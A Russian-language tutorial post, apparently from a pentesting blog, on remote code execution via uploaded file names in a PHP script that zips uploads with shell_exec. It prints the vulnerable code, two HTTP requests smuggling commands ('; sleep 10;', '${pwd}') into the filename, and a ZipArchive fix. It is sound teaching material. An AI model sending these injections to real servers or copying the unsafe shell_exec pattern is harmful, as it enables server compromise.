Найти тему
14 подписчиков

RCE в имени файла


Приведенный ниже код предназначен для загрузки файла на сервер и последующего создания архива.

<?php
$uploadDir = "uploads/";
if (!file_exists($uploadDir)) {
mkdir($uploadDir, 0755, true);
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (!empty($_FILES['uploaded_files']['name'][0])) {
foreach ($_FILES['uploaded_files']['tmp_name'] as $key => $tmpName) {
$fileName = basename($_FILES['uploaded_files']['name'][$key]);
$targetFile = $uploadDir . $fileName;

if (move_uploaded_file($tmpName, $targetFile)) {
$randomName = uniqid('archive_') . '.zip';
$zipPath = $uploadDir . $randomName;

$command = "cd " . $uploadDir . " && zip -r " . $randomName . " " . $fileName;
shell_exec($command);

unlink($targetFile);

$result_message = "<br><br> Архив успешно создан! <br> Скачать архив: <a href='" . $zipPath . "'>" . $randomName . "</a>";
} else {
$result_message = "<br><br> Ошибка при загрузке файла.";
}
}
} else {
$result_message = "<br> Пожалуйста, выберите файл для загрузки.";
}
}
?>

Причины RCE

• Функция shell_exec выполняет команды в оболочке, что делает её уязвимой для атак через командную инъекцию.
• Функция basename удаляет путь из имени файла, но не предотвращает использование специальных символов, которые могут быть интерпретированы оболочкой.
• Имя файла, полученное из $_FILES, не проходит проверку на наличие опасных символов или команд.

Примеры

1. Задержка выполнения команды

Злоумышленник может загрузить файл с именем, содержащим команду sleep, чтобы проверить наличие уязвимости:

POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 245
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygmR121iNsK69G6o0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundarygmR121iNsK69G6o0
Content-Disposition: form-data; name="uploaded_files[]"; filename="1.php ; sleep 10;"
Content-Type: application/octet-stream

lol
------WebKitFormBoundarygmR121iNsK69G6o0--

Результат: Сервер будет ждать 10 секунд, что свидетельствует о том, что команда sleep 10 была успешно выполнена.

2. Получение содержимого директории

POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 245
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygmR121iNsK69G6o0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundarygmR121iNsK69G6o0
Content-Disposition: form-data; name="uploaded_files[]"; filename="${pwd}"
Content-Type: application/octet-stream

lol
------WebKitFormBoundarygmR121iNsK69G6o0--

Результат: Содержимое текущей директории будет сохранено в архиве, который злоумышленник сможет скачать.

Исправление уязвимости

Для исправления дефекта, вместо shell_exec, лучше использовать класс ZipArchive, т.к он работает с файловой системой, не выполняя команды через оболочку.

#Pentest
RCE в имени файла  Приведенный ниже код предназначен для загрузки файла на сервер и последующего создания архива.  <?php $uploadDir = "uploads/"; if (!
2 минуты